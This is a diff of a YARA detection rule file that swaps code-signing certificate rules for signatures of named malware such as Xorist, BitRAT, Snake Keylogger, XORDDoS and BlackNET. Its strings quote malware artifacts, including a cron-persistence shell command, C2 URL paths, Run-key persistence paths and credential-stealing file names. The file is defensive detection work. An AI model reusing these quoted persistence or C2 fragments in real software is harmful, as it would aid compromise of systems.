-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Ficker infostealer"
 		author = "ditekSHen"
-		id = "e7904179-672a-5668-8b6d-f7f7090678fb"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1cfeea86-e8bf-50fb-ba08-435d7a14a913"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1270-L1281"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2038-L2055"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be637a192a90a35be9879d5e36fb3cf9a56ca4158329d6b1fad458e2d05e3d26"
+		logic_hash = "adcc0ffc0e1ded36dc41c22d10d2ea293d5740484203892bcecf89a5f4001452"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e9c5fb9a7d3aba4b49c41b45249ed20c870f5c9e"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.Ficker"
+
+	strings:
+		$s1 = "JNOde\\" ascii
+		$s2 = "\"SomeNone" fullword ascii
+		$s3 = "kindmessage" fullword ascii
+		$s4 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writting non-UTF-8 byte sequences" ascii
+		$s5 = "..\\\\?\\.\\UNC\\Windows stdio in console mode does not support writing non-UTF-8 byte sequences" ascii
+		$s6 = "(os error other os erroroperation interrruptedwrite zerotimed" ascii
+		$s7 = "(os error other os erroroperation interruptedwrite zerotimed" ascii
+		$s8 = "nPipeAlreadyExistsWouldBlockInvalidInputInvalidDataTimedOutWriteZeroInterruptedOtherN" fullword ascii
+		$s9 = "_matherr(): %s in %s(%g, %g)  (retval=%g)" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xD0\\x92\\xD0\\x93\\xE5\\x84\\xBF\\xD0\\x93\\xE5\\x8B\\x92\\xD0\\x92\\xE5\\x8B\\x92\\xD0\\x93\\xD0\\x93\\xE5\\x84\\xBF\\xE8\\x89\\xBE\\xD0\\x92\\xD0\\x93\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xD0\\x92\\xD0\\x93\\xE8\\x89\\xBE\\xE9\\xA9\\xAC\\xD0\\x93\\xE8\\x89\\xBE\\xE9\\xA9\\xAC\\xD0\\x93" and pe.signatures[i].serial=="00:c1:af:ab:da:a1:32:1f:81:5c:db:b9:46:77:28:bc:08")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_371381A66Fb96A07077860Ae4A6721E1 : FILE
+rule DITEKSHEN_MALWARE_Win_Xorist : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Xorist ransomware"
 		author = "ditekSHen"
-		id = "cd9c9965-922c-5ced-839c-97d1dcde33ff"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "76119441-343d-51c3-90eb-9d54c80a983d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1283-L1294"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2057-L2078"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f087df37fdb6d921f411f130f26f9b5a58c36ae163bc88565178e0ed12be79d9"
+		logic_hash = "b34e3fa065cabcd8d26908866e53ff599631128e1da884e42a2e63d890879eaa"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c4419f095ae93d93e145d678ed31459506423d6a"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.Xorist"
+
+	strings:
+		$x1 = { 00 4d 00 41 00 47 00 45 00 0b 00 50 00 55 00
+                53 00 53 00 59 00 4c 00 49 00 43 00 4b 00 45
+                00 52 00 }
+		$x2 = { 30 70 33 6e 53 4f 75 72 63 33 20 58 30 72 31 35
+                37 2c 20 6d 6f 74 68 65 72 66 75 63 6b 65 72 21
+                00 70 75 73 73 79 6c 69 63 6b 65 72 00 2e 62 6d
+                70 00 2e 00 2e 2e 00 6f 70 65 6e 00 2e 65 78 65 }
+		$s1 = "\\shell\\open\\command" fullword ascii
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii
+		$s3 = "CRYPTED!" fullword ascii
+		$s4 = "Attention!" fullword ascii
+		$s5 = "Password:" fullword ascii
+		$s6 = { 43 6f 6d 53 70 65 63 00 2f 63 20 64 65 6c 20 22 00 22 20 3e 3e 20 4e 55 4c }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE7\\xBB\\xB4\\xD0\\xA9\\xE5\\x90\\xBE\\xE7\\xBB\\xB4\\xD0\\xA9\\xD0\\xA9\\xE7\\xBB\\xB4\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE5\\xA8\\x9C\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xD0\\xA9\\xE5\\xA8\\x9C\\xE5\\x90\\xBE\\xD0\\xA9\\xE5\\xA8\\x9C\\xE6\\x9D\\xB0\\xE5\\xA8\\x9C\\xE5\\x90\\xBE\\xE5\\xA8\\x9C\\xE5\\xA8\\x9C\\xD0\\xA9" and pe.signatures[i].serial=="37:13:81:a6:6f:b9:6a:07:07:78:60:ae:4a:67:21:e1")
+		uint16(0)==0x5a4d and ( all of ($x*) or 5 of ($s*) or (1 of ($x*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Deb004E56D7Fcec1Caa8F2928D4E768 : FILE
+rule DITEKSHEN_MALWARE_Win_PYSA : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects PYSA/Mespinoza ransomware"
 		author = "ditekSHen"
-		id = "bb4e62b1-3528-56db-b004-1d590ad1ee61"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3a3fad6a-46bc-51dc-9723-4412034ca442"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1296-L1307"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2080-L2100"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "69910c81ce85bc59972b644f548a4382b8f3b70ec2737ada9da7adcb4779ce9c"
+		logic_hash = "e614b827bd8d065e94852fed01497c785bf90c52c3624aff9939b3f40ecf96a4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "21dacc55b6e0b3b0e761be03ed6edd713489b6ce"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.PYSA"
+
+	strings:
+		$s1 = "%s\\Readme.README" fullword wide
+		$s2 = "Every byte on any types of your devices was encrypted" ascii
+		$s3 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 74 65 78 74 00 (50|70) (59|79) (53|73) (41|61) }
+		$s4 = { 6c 65 67 61 6c 6e 6f 74 69 63 65 63 61 70 74 69 6f 6e 00 00 (50|70) (59|79) (53|73) (41|61) }
+		$s5 = { 2e 62 61 74 00 00 6f 70 65 6e 00 00 00 00 53
+                4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f
+                66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72
+                65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69
+                63 69 65 73 5c 53 79 73 74 65 6d 00 00 00 }
+		$f1 = ".?AVPK_EncryptorFilter@CryptoPP@@" ascii
+		$f2 = ".?AV?$TF_EncryptorImpl@" ascii
+		$f3 = "@VTF_EncryptorBase@CryptoPP@@" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LLC Mail.Ru" and pe.signatures[i].serial=="0d:eb:00:4e:56:d7:fc:ec:1c:aa:8f:29:28:d4:e7:68")
+		uint16(0)==0x5a4d and all of ($f*) and 3 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7Bd36898217B4Cc6B6427Dd7C361E43D : FILE
+rule DITEKSHEN_MALWARE_Win_Polar : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Polar ransomware"
 		author = "ditekSHen"
-		id = "ff5be4ad-9471-5d9f-a1ad-ed7aca345a7f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ab4e4478-5417-5918-b5df-5b6ffe7438a9"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1309-L1320"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2102-L2123"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9ff149b5a12e154c0ede5015a0432fb70d6001507356c006952e8db91afaa72d"
+		logic_hash = "4f05a8ace9a03d02f54f0ebdd5349d1d1b23db8e34aa71edd44eebf02b88745c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c55df31aa16adb1013612ceb1dcf587afb7832c3"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.Polar"
+
+	strings:
+		$s1 = "Encrypt Failed ! ErrorMessage :" wide
+		$s2 = ".locked" fullword wide
+		$s3 = ".cryptd" fullword wide
+		$s4 = "$SysReset" fullword wide
+		$s5 = "Polar.Properties.Resources" ascii wide
+		$s6 = "AES_EnDecryptor.Basement" fullword ascii
+		$s7 = "RunCMDCommand" fullword ascii
+		$s8 = "killerps_list" fullword ascii
+		$s9 = "clearlog" fullword ascii
+		$s10 = "encryptFile" fullword ascii
+		$s11 = "changeBackPictrue" fullword ascii
+		$pdb1 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x86\\Release\\Encode.pdb" ascii
+		$pdb2 = "\\Ransomware_ALL_encode\\dir_file\\obj\\x64\\Release\\Encode.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aeafefcafbafbaf" and pe.signatures[i].serial=="7b:d3:68:98:21:7b:4c:c6:b6:42:7d:d7:c3:61:e4:3d")
+		uint16(0)==0x5a4d and (8 of ($s*) or (1 of ($pdb*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_02D17Fbf4869F23Fea43C7863902Df93 : FILE
+rule DITEKSHEN_MALWARE_Win_Bitrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects BitRAT RAT"
 		author = "ditekSHen"
-		id = "6e96f5b2-f3de-5d5a-babe-d46b9e3edd3e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9041a21f-0f27-5e90-8429-863e361381bf"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1322-L1333"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2125-L2153"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a66e10934cc58e364a694dde3865d0de33e61ce0128ef144c61fa5728d22b8f8"
+		logic_hash = "128c3c8cea0439f272de241c77fc9ed46e64419e497091e444e98123dad059cb"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "d336ff8d8ccb771943a70bb4ba11239fb71beca5"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.BitRAT"
+
+	strings:
+		$s1 = "\\plg\\" fullword ascii
+		$s2 = "klgoff_del" fullword ascii
+		$s3 = "files_delete" ascii
+		$s4 = "files_zip_start" fullword ascii
+		$s5 = "files_exec" fullword ascii
+		$s6 = "drives_get" fullword ascii
+		$s7 = "srv_list" fullword ascii
+		$s8 = "con_list" fullword ascii
+		$s9 = "ddos_stop" fullword ascii
+		$s10 = "socks5_srv_start" fullword ascii
+		$s11 = "/getUpdates?offset=" fullword ascii
+		$s12 = "Action: /dlex" fullword ascii
+		$s13 = "Action: /clsbrw" fullword ascii
+		$s14 = "Action: /usb" fullword ascii
+		$s15 = "/klg" fullword ascii
+		$s16 = "klg|" fullword ascii
+		$s17 = "Slowloris" fullword ascii
+		$s18 = "Bot ID:" ascii
+		$t1 = "<sz>N/A</sz>" fullword ascii
+		$t2 = "<silent>N/A</silent>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Microsoft Windows" and pe.signatures[i].serial=="02:d1:7f:bf:48:69:f2:3f:ea:43:c7:86:39:02:df:93")
+		uint16(0)==0x5a4d and (7 of ($s*) or (4 of ($s*) and 1 of ($t*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1E74Cfe7De8C5F57840A61034414Ca9F : FILE
+rule DITEKSHEN_MALWARE_Win_Poullight : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Poullight infostealer"
 		author = "ditekSHen"
-		id = "b46992d5-f4fb-5e51-8f3c-eb87d4397f14"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c80143f8-9c44-5e96-b1ff-2adb4bf031e4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1335-L1346"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2155-L2176"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "14f57732a82b5139059bbe6f713184659187b57419d79e85a12ab197def4b761"
+		logic_hash = "e60ffb10892d35664a088d69c965e130f87bb1a59c257d484bdfe5085074bccd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "2dfa711a12aed0ace72e538c57136fa021412f95951c319dcb331a3e529cf86e"
-		importance = 20
+		snort2_sid = "920074-920075"
+		snort3_sid = "920074-920075"
+		clamav_sig = "MALWARE.Win.Trojan.Poullight"
+
+	strings:
+		$s1 = "zipx" fullword wide
+		$s2 = "{0}Windows Defender.exe" fullword wide
+		$s3 = "pll_test" fullword wide
+		$s4 = "loginusers.vdf" wide
+		$s5 = "Stealer by Nixscare" wide
+		$s6 = "path_lad" fullword ascii
+		$s7 = "<CheckVM>" ascii
+		$s8 = "Poullight.Properties" ascii
+		$s9 = "</ulfile>" fullword wide
+		$s10 = "{0}processlist.txt" fullword wide
+		$s11 = "{0}Browsers\\Passwords.txt" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Insta Software Solution Inc." and pe.signatures[i].serial=="1e:74:cf:e7:de:8c:5f:57:84:0a:61:03:44:14:ca:9f")
+		uint16(0)==0x5a4d and 7 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_009272607Cfc982B782A5D36C4B78F5E7B : FILE
+rule DITEKSHEN_MALWARE_Win_Snakekeylogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects Snake Keylogger"
 		author = "ditekSHen"
-		id = "dfb01400-dff2-5df1-b38e-7eb2ee2c71b8"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e44bf33c-916d-5dc3-ba2a-89e13f1511a2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1348-L1359"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2178-L2207"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d1c2b44e782befc8dae6852935b6f5b0071c13dd9b56857c38cb290c9069df18"
+		logic_hash = "7d787026b290c3c6a43c7de83233f22980733e7401260ff2f763e6f1b534ecba"
 		score = 75
-		quality = 75
+		quality = 67
 		tags = "FILE"
-		thumbprint = "2514c615fe54d511555bc5b57909874e48a438918a54cea4a0b3fbc401afa127"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.SnakeKeylogger"
+
+	strings:
+		$id1 = "SNAKE-KEYLOGGER" fullword ascii
+		$id2 = "----------------S--------N--------A--------K--------E----------------" ascii
+		$s1 = "_KPPlogS" fullword ascii
+		$s2 = "_Scrlogtimerrr" fullword ascii
+		$s3 = "_Clpreptimerr" fullword ascii
+		$s4 = "_clprEPs" fullword ascii
+		$s5 = "_kLLTIm" fullword ascii
+		$s6 = "_TPSSends" fullword ascii
+		$s7 = "_ProHfutimer" fullword ascii
+		$s8 = "GrabbedClp" fullword ascii
+		$s9 = "StartKeylogger" fullword ascii
+		$x1 = "$%SMTPDV$" wide
+		$x2 = "$#TheHashHere%&" wide
+		$x3 = "%FTPDV$" wide
+		$x4 = "$%TelegramDv$" wide
+		$x5 = "KeyLoggerEventArgs" ascii
+		$m1 = "| Snake Keylogger" ascii wide
+		$m2 = /(Screenshot|Clipboard|keystroke) Logs ID/ ascii wide
+		$m3 = "SnakePW" ascii wide
+		$m4 = "\\SnakeKeylogger\\" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rada SP Z o o" and pe.signatures[i].serial=="00:92:72:60:7c:fc:98:2b:78:2a:5d:36:c4:b7:8f:5e:7b")
+		( uint16(0)==0x5a4d and ( all of ($id*) or 6 of ($s*) or (1 of ($id*) and 3 of ($s*)) or 4 of ($x*))) or (2 of ($m*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7B91468122273Aa32B7Cfc80C331Ea13 : FILE
+rule DITEKSHEN_MALWARE_Linux_Xorddos : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects XORDDoS"
 		author = "ditekSHen"
-		id = "4369d88d-f592-5a5a-bdf6-c63b77d45326"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0ca581c3-bce2-5b4f-8146-9aeb49b88813"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1361-L1372"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2209-L2220"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4c0fa18edb23c6a7474185adc67101ad9b13c71188f25612165cb97d236562d8"
+		logic_hash = "192378d903316c1d80b064e78feb6ed9d2ffc9e6c7dc0c8df223d83d17e4e8d9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "409f32dc91542546e7c7f85f687fe3f1acffdd853657c8aa8c1c985027f5271d"
-		importance = 20
+
+	strings:
+		$s1 = "for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done" fullword ascii
+		$s2 = "cp /lib/libudev.so /lib/libudev.so.6" fullword ascii
+		$s3 = "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab" fullword ascii
+		$s4 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO KBI" and pe.signatures[i].serial=="7b:91:46:81:22:27:3a:a3:2b:7c:fc:80:c3:31:ea:13")
+		uint32(0)==0x464c457f and 3 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0082Cb93593B658100Cdd7A00C874287F2 : FILE
+rule DITEKSHEN_MALWARE_Win_Blacknet : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects BlackNET RAT"
 		author = "ditekSHen"
-		id = "3e618656-6c9d-5172-bad4-f507cec1dc0c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c1ece46a-3cd9-54aa-a105-1c5b19357a7e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1374-L1385"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2222-L2250"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "df8eb4feef3992bae7097a05860f57a1408fc79d92741e3ea2f202d072d9f47e"
+		logic_hash = "64e00325a5a6a595067c6133800e73d943f45e2783475c24ed4a9bd9937fe0d6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d168d7cf7add6001df83af1fc603a459e11395a9077579abcdfd708ad7b7271f"
-		importance = 20
+		snort2_sid = "920079-920082"
+		snort3_sid = "920079-920082"
+		clamav_sig = "MALWARE.Win.Trojan.BlackNET"
+
+	strings:
+		$s1 = "SbieCtrl" fullword wide
+		$s2 = "SpyTheSpy" fullword wide
+		$s3 = "\\BlackNET.dat" fullword wide
+		$s4 = "StartDDOS" fullword wide
+		$s5 = "UDPAttack" fullword wide
+		$s6 = "ARMEAttack" fullword wide
+		$s7 = "TCPAttack" fullword wide
+		$s8 = "HTTPGetAttack" fullword wide
+		$s9 = "RetriveLogs" fullword wide
+		$s10 = "StealPassword" fullword wide
+		$s11 = "/create /f /sc ONSTART /RL HIGHEST /tn \"'" fullword wide
+		$b1 = "DeleteScript|BN|" fullword wide
+		$b2 = "|BN|Online" fullword wide
+		$b3 = "NewLog|BN|" fullword wide
+		$cnc1 = "/getCommand.php?id=" fullword wide
+		$cnc2 = "/upload.php?id=" fullword wide
+		$cnc3 = "connection.php?data=" fullword wide
+		$cnc4 = "/receive.php?command=" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sportsonline24 B.V." and pe.signatures[i].serial=="00:82:cb:93:59:3b:65:81:00:cd:d7:a0:0c:87:42:87:f2")
+		uint16(0)==0x5a4d and (9 of ($s*) or all of ($cnc*) or all of ($b*) or 12 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Df683D46D8C3832489672Cc4E82D3D5D : FILE
+rule DITEKSHEN_MALWARE_Win_Stormkitty : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects StormKitty infostealer"
 		author = "ditekSHen"
-		id = "532ee72a-00f6-513e-b4f9-0827f77d643e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a061a1c0-9ed5-5048-85df-4d7ed6995e92"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1387-L1398"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2252-L2269"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "153fdb25769d912732a1fb4ecc757fc8c7e4766cd6588ea16d9cf642b4be8bf6"
+		logic_hash = "5d139aad6932f177cd14e0356f822ad68ddc659ea4fabd2fd2fbcbc8bad58888"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8b63c5ea8d9e4797d77574f35d1c2fdff650511264b12ce2818c46b19929095b"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.StormKitty"
+
+	strings:
+		$x1 = "\\ARTIKA\\Videos\\Chrome-Password-Recovery" ascii
+		$x2 = "https://github.com/LimerBoy/StormKitty" fullword ascii
+		$x3 = "StormKitty" fullword ascii
+		$s1 = "GetBSSID" fullword ascii
+		$s2 = "GetAntivirus" fullword ascii
+		$s3 = "C:\\Users\\Public\\credentials.txt" fullword wide
+		$s4 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" fullword wide
+		$s5 = "BCrypt.BCryptGetProperty() (get size) failed with status code:{0}" fullword wide
+		$s6 = "\"encrypted_key\":\"(.*?)\"" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Osatokio Oy" and pe.signatures[i].serial=="00:df:68:3d:46:d8:c3:83:24:89:67:2c:c4:e8:2d:3d:5d")
+		uint16(0)==0x5a4d and (2 of ($x*) or 5 of ($s*) or (3 of ($s*) and 1 of ($x*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_105440F57E9D04419F5A3E72195110E6 : FILE
+rule DITEKSHEN_MALWARE_Win_Bulz01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects trojan loader"
 		author = "ditekSHen"
-		id = "44600134-156b-5762-bdae-f4c016f454a3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4ac4125b-70f5-5cda-ae45-fd5713e25a6e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1400-L1411"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2271-L2281"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f8b7aebe91466a587dac366cf6483586f22f95ebc186aa139e55c6e52d276f63"
+		logic_hash = "29884dda4936016660f5d1e33ffcf97a20c7d3116483a5895a5e2a1dd4ac9e9f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e95c7b4f2e5f64b388e968d0763da67014eb3aeb8c04bd44333ca3e151aa78c2"
-		importance = 20
+
+	strings:
+		$s1 = "DisableTrivet.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CRYPTOLAYER SRL" and pe.signatures[i].serial=="10:54:40:f5:7e:9d:04:41:9f:5a:3e:72:19:51:10:e6")
+		uint16(0)==0x5a4d and pe.is_dll() and all of ($s*) and (pe.exports("Ordinal") or pe.exports("Chechako") or pe.exports("Originator") or pe.exports("Repressions"))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C01E41Ff29078E6626A640C5A19A8D80 : FILE
+rule DITEKSHEN_MALWARE_Win_Revcoderat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects RevCode/WebMonitor RAT"
 		author = "ditekSHen"
-		id = "93ee927f-71bd-5490-8f70-5486ee9c3b79"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4acf6742-7f5c-5126-89cc-b39b1acd922e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1413-L1424"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2283-L2332"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1ee6f365d46fb1ee0e448fc0ab9d07c51a46f6ee95155094ec956f1cad6c1052"
+		logic_hash = "e5bf1ce79b7955f597df1a9e361a3be892de55cd3db767278d4ccc02ace9e9f5"
